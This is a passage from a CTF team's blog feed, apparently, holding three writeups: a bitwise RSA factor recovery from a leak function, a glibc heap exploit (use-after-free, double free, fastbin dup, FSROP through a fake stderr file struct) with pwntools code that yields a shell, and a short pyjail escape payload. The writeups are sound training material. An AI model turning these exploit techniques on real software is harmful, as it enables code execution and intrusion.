<li>Since $N \mod 2 = 1$, we know that <strong>both $p$ and $q$ must be 1</strong>.</li>
<li>The possible values for $(p \mod 2, q \mod 2)$ are:
<ul>
<li>(0,0) → <strong>0 × 0</strong> = 0 (incorrect)</li>
<li>(0,1) → <strong>0 × 1</strong> = 0 (incorrect)</li>
<li>(1,0) → <strong>1 × 0</strong> = 0 (incorrect)</li>
<li>(1,1) → <strong>1 × 1</strong> = 1 (correct ✅)</li>
</ul>
</li>
</ul>
<p>So the only valid choice is <strong>(1,1)</strong>.</p>
</li>
<li>
<p><strong>Finding the second bit</strong></p>
<ul>
<li>
<p>Now, we try all possibilities for the <strong>second-least significant bit</strong>, while keeping the first bit fixed.</p>
</li>
<li>
<p>Possible values:</p>
<ul>
<li>(1,1)</li>
<li>(1,3)</li>
<li>(3,1)</li>
<li>(3,3)</li>
</ul>
</li>
<li>
<p>We check which of these satisfy both:</p>
<ul>
<li>$N \mod 4$</li>
<li>$\text{LEAK} \mod 4$</li>
</ul>
</li>
<li>
<p>In this case N%4 = 1</p>
<ul>
<li>(1,1) → <strong>1 × 1</strong> = 1 (correct ✅)</li>
<li>(1,3) → <strong>1 × 3</strong> = 3 (incorrect)</li>
<li>(3,1) → <strong>3 × 1</strong> = 3 (incorrect)</li>
<li>(3,3) → <strong>3 × 3</strong> = 1 (correct ✅)</li>
</ul>
</li>
<li>
<p>We have two valid choices: <strong>(1,1)</strong> and <strong>(3,3)</strong>, so let&rsquo;s check the leak function</p>
</li>
<li>
<p>LEAK%4 = 2</p>
<ul>
<li>(1,1) → <strong>(0x1337 + 1 + 1) ^ (0x1337 * 1 * 1) &amp; (1 | 0x1337137)</strong> = 2 (correct ✅)</li>
<li>(3,3) → <strong>(0x1337 + 3 + 3) ^ (0x1337 * 3 * 3) &amp; (3 | 0x1337137)</strong> = 2 (correct ✅)</li>
</ul>
</li>
<li>
<p>Both are valid, so we can continue with both.</p>
</li>
</ul>
</li>
<li>
<p><strong>Finding the third bit</strong></p>
<ul>
<li>Now partial p and q could be either (1,1) or (3,3)</li>
<li>Possible values:
<ul>
<li>(1,1)</li>
<li>(1,5)</li>
<li>(5,1)</li>
<li>(5,5)</li>
<li>(3,3)</li>
<li>(3,7)</li>
<li>(7,3)</li>
<li>(7,7)</li>
</ul>
</li>
<li>Check on N%8=5
<ul>
<li>(1,1) → <strong>1 × 1</strong> = 1 (incorrect)</li>
<li>(1,5) → <strong>1 × 5</strong> = 5 (correct ✅)</li>
<li>(5,1) → <strong>5 × 1</strong> = 5 (correct ✅)</li>
<li>(5,5) → <strong>5 × 5</strong> = 1 (incorrect)</li>
<li>(3,3) → <strong>3 × 3</strong> = 4 (incorrect)</li>
<li>(3,7) → <strong>3 × 7</strong> = 5 (correct ✅)</li>
<li>(7,3) → <strong>7 × 3</strong> = 5 (correct ✅)</li>
<li>(7,7) → <strong>7 × 7</strong> = 1 (incorrect)</li>
</ul>
</li>
<li>Check on LEAK%8=2
<ul>
<li>(1,5) → <strong>(0x1337 + 1 + 5) ^ (0x1337 * 1 * 5) &amp; (1 | 0x1337137)</strong> = 6 (incorrect)</li>
<li>(5,1) → <strong>(0x1337 + 5 + 1) ^ (0x1337 * 5 * 1) &amp; (5 | 0x1337137)</strong> = 6 (incorrect)</li>
<li>(3,7) → <strong>(0x1337 + 3 + 7) ^ (0x1337 * 3 * 7) &amp; (3 | 0x1337137)</strong> = 2 (correct ✅)</li>
<li>(7,3) → <strong>(0x1337 + 7 + 3) ^ (0x1337 * 7 * 3) &amp; (7 | 0x1337137)</strong> = 2 (correct ✅)</li>
</ul>
</li>
<li>We have two valid choices: <strong>(1,5)</strong> and <strong>(3,7)</strong>
<ul>
<li>Note that the leak in this case actually helped us by eliminating half of the possibilities!</li>
</ul>
</li>
</ul>
</li>
<li>
<p><strong>Finding the fourth bit</strong></p>
<ul>
<li>&hellip;</li>
</ul>
</li>
</ol>
<p>&hellip;. <strong>&hellip;</strong></p>
<h3 id="bfs-implementation">BFS Implementation</h3>
<p>We won&rsquo;t do it by hand (it&rsquo;s certainly possible, but humans invented computers for a reason).</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> collections <span style="color:#fc5fa3">import</span> deque
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">bfs</span>(n, leak):
</span></span><span style="display:flex;"><span>    start = (<span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">1</span>)  <span style="color:#6c7986"># (p_guess, q_guess, bit_position)</span>
</span></span><span style="display:flex;"><span>    queue = deque([start])
</span></span><span style="display:flex;"><span>    ccc = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">while</span> queue:
</span></span><span style="display:flex;"><span>        pk, qk, k = queue.popleft()
</span></span><span style="display:flex;"><span>        ccc += <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> ccc % <span style="color:#d0bf69">100</span> == <span style="color:#d0bf69">0</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\r</span><span style="color:#fc6a5d">{</span>k<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>, end=<span style="color:#fc6a5d">&#39;&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> pk * qk &gt; n:
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">continue</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> pk * qk == n:
</span></span><span style="display:flex;"><span>            <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;FOUND&#34;</span>, pk, qk)
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">return</span> pk, qk
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#6c7986"># Try all possible combinations of the next bit</span>
</span></span><span style="display:flex;"><span>        poss = [(<span style="color:#d0bf69">0</span>,<span style="color:#d0bf69">0</span>), (<span style="color:#d0bf69">0</span>,<span style="color:#d0bf69">2</span>**(k-<span style="color:#d0bf69">1</span>)), (<span style="color:#d0bf69">2</span>**(k-<span style="color:#d0bf69">1</span>),<span style="color:#d0bf69">0</span>), (<span style="color:#d0bf69">2</span>**(k-<span style="color:#d0bf69">1</span>),<span style="color:#d0bf69">2</span>**(k-<span style="color:#d0bf69">1</span>))]
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span> pos in poss:
</span></span><span style="display:flex;"><span>            new_pk, new_qk = pk + pos[<span style="color:#d0bf69">0</span>], qk + pos[<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">if</span> (F(new_pk, new_qk) % <span style="color:#d0bf69">2</span>**k == leak % <span style="color:#d0bf69">2</span>**k and
</span></span><span style="display:flex;"><span>                (new_pk * new_qk) % <span style="color:#d0bf69">2</span>**k == n % <span style="color:#d0bf69">2</span>**k):
</span></span><span style="display:flex;"><span>                queue.append((new_pk, new_qk, k+<span style="color:#d0bf69">1</span>))
</span></span></code></pre></div>]]></content></item><item><title>TRX CTF 25 - Free the monsters</title><link>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-free-the-monsters/</link><pubDate>Wed, 26 Feb 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-free-the-monsters/</guid><description>&lt;p>&lt;img src="https://theromanxpl0.it/trxctf25/free_the_monsters/prompt.png" alt="Preview text">&lt;/p>
&lt;p>The challenge&amp;rsquo;s structure is wrapped in a quest embarking game, the player is required to select some quest from the quest list change his equipment and embark, at any given moment during the preparation it can also check it&amp;rsquo;s statistics.&lt;/p>
&lt;p>Playing around with the binary already reveals some vulnerabilities:&lt;/p>
&lt;pre tabindex="0">&lt;code>What do you want to do?
1. Equip weapon
2. Unequip weapon
&amp;gt; 1
Enter weapon name: hammer
Enter weapon attack: 10
Enter weapon defense: 10
1. Check player status
2. Select a quest
3. Embark on a quest
4. Change equipment
5. Exit
&amp;gt; 4
Select equipment to change:
1. Helmet
2. Chest
3. Gloves
4. Waist
5. Legs
6. Weapon
7. Jewel
8. Earing
9. Charm
10. Talisman
11. Kinsect
12. Palico
13. Palamute
&amp;gt; 6
What do you want to do?
1. Equip weapon
2. Unequip weapon
&amp;gt; 2
1. Check player status
2. Select a quest
3. Embark on a quest
4. Change equipment
5. Exit
&amp;gt; 1
Name: Lorenzinco
Level: 1
Weapon: hammer
Attack: 24881791099
Defense: 10668836035454024818
====================================
1. Check player status
2. Select a quest
3. Embark on a quest
4. Change equipment
5. Exit
&amp;gt;
&lt;/code>&lt;/pre>&lt;p>All of the pointers inside the player&amp;rsquo;s profile do not get set to &lt;code>NULL&lt;/code> when freed. Given the heap blocks structure, in which the next pointer gets stored in the data section of the current chunk &lt;a href="https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/">(click here to find more details about this)&lt;/a>, this gives already the ability to leak some heap addresses.&lt;/p></description><content type="html"><![CDATA[<p><img src="/trxctf25/free_the_monsters/prompt.png" alt="Preview text"></p>
<p>The challenge&rsquo;s structure is wrapped in a quest embarking game, the player is required to select some quest from the quest list change his equipment and embark, at any given moment during the preparation it can also check it&rsquo;s statistics.</p>
<p>Playing around with the binary already reveals some vulnerabilities:</p>
<pre tabindex="0"><code>What do you want to do?
1. Equip weapon
2. Unequip weapon
&gt; 1
Enter weapon name: hammer
Enter weapon attack: 10
Enter weapon defense: 10
1. Check player status
2. Select a quest
3. Embark on a quest
4. Change equipment
5. Exit
&gt; 4
Select equipment to change:
1. Helmet
2. Chest
3. Gloves
4. Waist
5. Legs
6. Weapon
7. Jewel
8. Earing
9. Charm
10. Talisman
11. Kinsect
12. Palico
13. Palamute
&gt; 6
What do you want to do?
1. Equip weapon
2. Unequip weapon
&gt; 2
1. Check player status
2. Select a quest
3. Embark on a quest
4. Change equipment
5. Exit
&gt; 1
Name: Lorenzinco
Level: 1
Weapon: hammer

Attack: 24881791099
Defense: 10668836035454024818
====================================
1. Check player status
2. Select a quest
3. Embark on a quest
4. Change equipment
5. Exit
&gt;
</code></pre><p>All of the pointers inside the player&rsquo;s profile do not get set to <code>NULL</code> when freed. Given the heap blocks structure, in which the next pointer gets stored in the data section of the current chunk <a href="https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/">(click here to find more details about this)</a>, this gives already the ability to leak some heap addresses.</p>
<p><img src="/trxctf25/free_the_monsters/free.png" alt="Preview text"></p>
<p>In the same part of the code we can also see that the code does not check whether that pointer was freed already before freeing it, this means we also got a <strong>double free</strong> to play around.</p>
<p>When allocating the chunks we also get to decide that to write in them, since the binary asks for the user to send the name, the attack and the defense of each equipment, conviniently stored inside the chunk.</p>
<p>Now, here comes the first problem: the chunk size. Each chunk is only <code>0x30</code> bytes wide. This means that if fill the tcache bins it fill fit right into the fast bin, not inside the unsorted one, which is where we want it to be.</p>
<p>To make a chunk fit into the unsorted bin we must therefore find a way to modify its size, this can be achieved by fast-bin duping, which is filling tcache, double freeing a chunk into a fastbin and change the next address to hit a chunk&rsquo;s metadata, by writing on it we&rsquo;re able to change the size of the chunk itself.</p>
<p>Keep in mind that due to the checks that get done when freeing, <code>prev_size</code> should be valid as well as <code>prev_inuse</code> flag which needs to be set to <code>1</code>.</p>
<p>The libc version is <code>2.41</code> therefore each heap pointer is encoded ( same for all libcs past 2.35 ).</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#6c7986">#FAKE AN UNSORTED BIN CHUNK TO LEAK LIBC</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">1</span>, <span style="color:#d0bf69">14</span>):
</span></span><span style="display:flex;"><span>    equip(i, p64(heap&gt;&gt;<span style="color:#d0bf69">12</span>)*<span style="color:#d0bf69">4</span>, heap&gt;&gt;<span style="color:#d0bf69">12</span>, <span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">3</span>, <span style="color:#d0bf69">10</span>):
</span></span><span style="display:flex;"><span>    unequip(i)
</span></span><span style="display:flex;"><span>unequip(<span style="color:#d0bf69">10</span>)
</span></span><span style="display:flex;"><span>unequip(<span style="color:#d0bf69">11</span>)
</span></span><span style="display:flex;"><span>unequip(<span style="color:#d0bf69">10</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">7</span>):
</span></span><span style="display:flex;"><span>    equip(<span style="color:#d0bf69">3</span>, <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;A&#34;</span>, <span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span>equip(<span style="color:#d0bf69">3</span>, <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;A&#34;</span>, (heap&gt;&gt;<span style="color:#d0bf69">12</span>)^(heap+<span style="color:#d0bf69">0x2c0</span>), <span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">3</span>):
</span></span><span style="display:flex;"><span>    equip(<span style="color:#d0bf69">3</span>, p64(<span style="color:#d0bf69">0</span>)+p64(<span style="color:#d0bf69">0x441</span>), <span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">6</span>):
</span></span><span style="display:flex;"><span>    equip(<span style="color:#d0bf69">3</span>, <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;B&#34;</span>, <span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>unequip(<span style="color:#d0bf69">2</span>)
</span></span><span style="display:flex;"><span>view()
</span></span><span style="display:flex;"><span>r.recvuntil(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;Attack: &#34;</span>)
</span></span><span style="display:flex;"><span>r.recvuntil(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;Attack: &#34;</span>)
</span></span><span style="display:flex;"><span>libc.address = <span style="color:#d0a8ff">int</span>(r.recvline()) - <span style="color:#d0bf69">0x211b20</span> <span style="color:#6c7986"># MAIN ARENA</span>
</span></span><span style="display:flex;"><span>log.info(<span style="color:#d0a8ff">hex</span>(libc.address))
</span></span></code></pre></div><p>Having retrieved the libc base address now we can take two intended paths:</p>
<ul>
<li>The angry FS-Rop cool as fuck road</li>
<li>The boring and lame environ and onegadget path</li>
</ul>
<h5 id="note-the-environ-leak-requires-to-be-expecially-carefull-with-the-pointers-inside-the-heap-when-duping-a-chunk-and-modifying-its-next-we-might-break-the-tcache-preventing-us-to-from-doing-it-again">Note: The environ leak requires to be expecially carefull with the pointers inside the heap, when duping a chunk and modifying its next we might break the tcache, preventing us to from doing it again.</h5>
<p>That said, i chose to writeup the cool as fuck road which involves writing a fake file pointer on the heap and then overwriting that pointer into <code>__std_err</code> (or whatever file pointer, stderr is handy since is not used in the context of this binary).</p>
<p><em>If you have no idea what this means i highly encourage you to read <a href="https://blog.kylebot.net/2022/10/22/angry-FSROP/">this</a>, it contains far more precise and useful information about fs exploits than what I could ever sum up in this writeup.</em></p>
<p>As said, we are going to overwrite <code>std_err</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#6c7986">#OVERWRITE STDERR-&gt;CHAIN</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">1</span>, <span style="color:#d0bf69">12</span>):
</span></span><span style="display:flex;"><span>    equip(i, p64(heap&gt;&gt;<span style="color:#d0bf69">12</span>)*<span style="color:#d0bf69">4</span>, <span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">3</span>, <span style="color:#d0bf69">10</span>):
</span></span><span style="display:flex;"><span>    unequip(i)
</span></span><span style="display:flex;"><span>unequip(<span style="color:#d0bf69">10</span>)
</span></span><span style="display:flex;"><span>unequip(<span style="color:#d0bf69">11</span>)
</span></span><span style="display:flex;"><span>unequip(<span style="color:#d0bf69">10</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">7</span>):
</span></span><span style="display:flex;"><span>    equip(<span style="color:#d0bf69">3</span>, <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\0</span><span style="color:#fc6a5d">&#34;</span>, <span style="color:#d0bf69">0</span>,<span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>equip(<span style="color:#d0bf69">3</span>, <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;A&#34;</span>, (heap&gt;&gt;<span style="color:#d0bf69">12</span>)^(libc.sym._IO_2_1_stderr_+<span style="color:#d0bf69">0x60</span>), <span style="color:#d0bf69">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">3</span>):
</span></span><span style="display:flex;"><span>    equip(<span style="color:#d0bf69">3</span>, p8(<span style="color:#d0bf69">3</span>), <span style="color:#d0bf69">0</span>, heap+<span style="color:#d0bf69">0x7a0</span>) <span style="color:#6c7986"># heap pointer to our custom file struct</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">7</span>):
</span></span><span style="display:flex;"><span>    equip(<span style="color:#d0bf69">3</span>, <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\0</span><span style="color:#fc6a5d">&#34;</span>, <span style="color:#d0bf69">0</span>,<span style="color:#d0bf69">0</span>)
</span></span></code></pre></div><p>and write a file struct containing the vtable pointer modified, pwntools has this fancy function to do this automatically called <code>fsrop()</code> so we don&rsquo;t have to go through the hassle of filling the vtable offsets ourself, it&rsquo;s like a one gadget.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#6c7986">#WRITE FAKE FP ON THE HEAP</span>
</span></span><span style="display:flex;"><span>payload = fsrop(heap+<span style="color:#d0bf69">0x7a0</span>)+<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\0</span><span style="color:#fc6a5d">&#34;</span>*<span style="color:#d0bf69">0x200</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># redistribute payload among fields</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">7</span>):
</span></span><span style="display:flex;"><span>    equip(<span style="color:#d0bf69">3</span>, payload[<span style="color:#d0bf69">16</span>:<span style="color:#d0bf69">16</span>+<span style="color:#d0bf69">0x20</span>], u64(payload[:<span style="color:#d0bf69">8</span>]), u64(payload[<span style="color:#d0bf69">8</span>:<span style="color:#d0bf69">16</span>]))
</span></span><span style="display:flex;"><span>    payload = payload[<span style="color:#d0bf69">16</span>+<span style="color:#d0bf69">0x30</span>:]
</span></span></code></pre></div><p>Note: this payload gets truncated each time a chunk metadata appears on the heap, so some fields of the file struct are goin to be broken and filled with garbage. They are not essential at all so we want to start writing the struct from an offset from which the important part (vtable pointer) is not overwritten with garbage, that is <code>0x10</code>.</p>
<p><img src="/trxctf25/free_the_monsters/gdb_fs.png" alt="Preview text"></p>
<p>Done! All there&rsquo;s left to do is to trigger <code>_IO_flush_all</code> by exiting the binary and we popped a shell!</p>
<p><code>TRX{wh0_th3_fuck_kn0w5_4b0u7_f457B1n5?!_153CA0}</code></p>
]]></content></item><item><title>TRX CTF 25 - Golf</title><link>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-golf/</link><pubDate>Wed, 26 Feb 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/02/trx-ctf-25-golf/</guid><description>&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>We&amp;rsquo;re given a file named chall.py, let&amp;rsquo;s take a look at its content&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-py" data-lang="py">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">#!/usr/bin/env python3.13&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">if&lt;/span>(c:=&lt;span style="color:#d0a8ff">input&lt;/span>()).isascii()*~-&lt;span style="color:#d0a8ff">any&lt;/span>(x in(c)&lt;span style="color:#fc5fa3">for&lt;/span>(x)in&lt;span style="color:#fc6a5d">&amp;#39;!&amp;#34;#&lt;/span>&lt;span style="color:#fc6a5d">\&amp;#39;&lt;/span>&lt;span style="color:#fc6a5d">()*+-:&amp;lt;&amp;gt;@[]&lt;/span>&lt;span style="color:#fc6a5d">\\&lt;/span>&lt;span style="color:#fc6a5d">_&lt;/span>&lt;span style="color:#fc6a5d">{}&lt;/span>&lt;span style="color:#fc6a5d">&amp;#39;&lt;/span>):exec(c[:&lt;span style="color:#d0bf69">43&lt;/span>])
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This is obviously a pyjail, and our goal is to read the flag from a file. First, let&amp;rsquo;s rewrite this code in a more understandable way:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-py" data-lang="py">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">#!/usr/bin/env python3.13&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>code = &lt;span style="color:#d0a8ff">input&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">if&lt;/span> code.isascii() and not &lt;span style="color:#d0a8ff">any&lt;/span>(x in code &lt;span style="color:#fc5fa3">for&lt;/span> x in &lt;span style="color:#fc6a5d">&amp;#39;!&amp;#34;#&lt;/span>&lt;span style="color:#fc6a5d">\&amp;#39;&lt;/span>&lt;span style="color:#fc6a5d">()*+-:&amp;lt;&amp;gt;@[]&lt;/span>&lt;span style="color:#fc6a5d">\\&lt;/span>&lt;span style="color:#fc6a5d">_&lt;/span>&lt;span style="color:#fc6a5d">{}&lt;/span>&lt;span style="color:#fc6a5d">&amp;#39;&lt;/span>):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exec(code[:&lt;span style="color:#d0bf69">43&lt;/span>])
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>So that means we can only use the following characters &lt;code>?.,|^/`;=&amp;amp;~$%&lt;/code>. Fortunately for us, built-in functions are not erased, so we can still import modules and execute certain operations.&lt;/p></description><content type="html"><![CDATA[<h2 id="overview">Overview</h2>
<p>We&rsquo;re given a file named chall.py, let&rsquo;s take a look at its content</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#6c7986">#!/usr/bin/env python3.13</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span>(c:=<span style="color:#d0a8ff">input</span>()).isascii()*~-<span style="color:#d0a8ff">any</span>(x in(c)<span style="color:#fc5fa3">for</span>(x)in<span style="color:#fc6a5d">&#39;!&#34;#</span><span style="color:#fc6a5d">\&#39;</span><span style="color:#fc6a5d">()*+-:&lt;&gt;@[]</span><span style="color:#fc6a5d">\\</span><span style="color:#fc6a5d">_</span><span style="color:#fc6a5d">{}</span><span style="color:#fc6a5d">&#39;</span>):exec(c[:<span style="color:#d0bf69">43</span>])
</span></span></code></pre></div><p>This is obviously a pyjail, and our goal is to read the flag from a file. First, let&rsquo;s rewrite this code in a more understandable way:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#6c7986">#!/usr/bin/env python3.13</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>code = <span style="color:#d0a8ff">input</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> code.isascii() and not <span style="color:#d0a8ff">any</span>(x in code <span style="color:#fc5fa3">for</span> x in <span style="color:#fc6a5d">&#39;!&#34;#</span><span style="color:#fc6a5d">\&#39;</span><span style="color:#fc6a5d">()*+-:&lt;&gt;@[]</span><span style="color:#fc6a5d">\\</span><span style="color:#fc6a5d">_</span><span style="color:#fc6a5d">{}</span><span style="color:#fc6a5d">&#39;</span>):
</span></span><span style="display:flex;"><span>    exec(code[:<span style="color:#d0bf69">43</span>])
</span></span></code></pre></div><p>So that means we can only use the following characters <code>?.,|^/`;=&amp;~$%</code>. Fortunately for us, built-in functions are not erased, so we can still import modules and execute certain operations.</p>
<h2 id="main-idea">Main Idea</h2>
<p>The payload must be extremely short. Spawning a shell with so few characters is a challenging task, especially since we cannot directly call functions. To bypass this restriction, we can search for gadgets inside Python that will be triggered when an exception occurs.</p>
<p>The shortest way to trigger an exception is by referencing an undefined variable:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>&gt;&gt;&gt; x
</span></span><span style="display:flex;"><span>Traceback (most recent call last):
</span></span><span style="display:flex;"><span>  File <span style="color:#fc6a5d">&#34;&lt;python-input-5&gt;&#34;</span>, line <span style="color:#d0bf69">1</span>, in &lt;module&gt;
</span></span><span style="display:flex;"><span>    x
</span></span><span style="display:flex;"><span>NameError: name <span style="color:#fc6a5d">&#39;x&#39;</span> is not defined
</span></span></code></pre></div><p>Now we can try to overwrite some builtins to see if they&rsquo;re being called before throwing the exception. Our goal is to find a function that is invoked with no arguments so that we can overwrite it with <code>breakpoint</code>. A good candidate is <code>set</code>. Let&rsquo;s try overwriting it:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> builtins;builtins.set = breakpoint;a
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># Output:</span>
</span></span><span style="display:flex;"><span>  File <span style="color:#fc6a5d">&#34;/slop.py&#34;</span>, line <span style="color:#d0bf69">1</span>, in &lt;module&gt;
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">import</span> builtins;builtins.set = breakpoint;a
</span></span><span style="display:flex;"><span>NameError: name <span style="color:#fc6a5d">&#39;a&#39;</span> is not defined
</span></span></code></pre></div><p>This is strange. We know that <code>breakpoint</code> is being called because if we overwrite <code>set</code> with <code>print</code>, we can observe values and newlines being printed.</p>
<p>The <code>breakpoint</code> function imports the <code>pdb</code> module, which will  import other modules. To prevent <code>set</code> from being called before we intend it to, we must first import <code>pdb</code>.</p>
<h2 id="final-payload">Final payload</h2>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> pdb,builtins;builtins.set = breakpoint;a
</span></span></code></pre></div><p>This payload is still too long, so we have to shorten it:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> pdb,builtins <span style="color:#fc5fa3">as</span> e;e.set=breakpoint;a
</span></span></code></pre></div><p>This successfully breaks out of the jail and allows us to get the flag.</p>
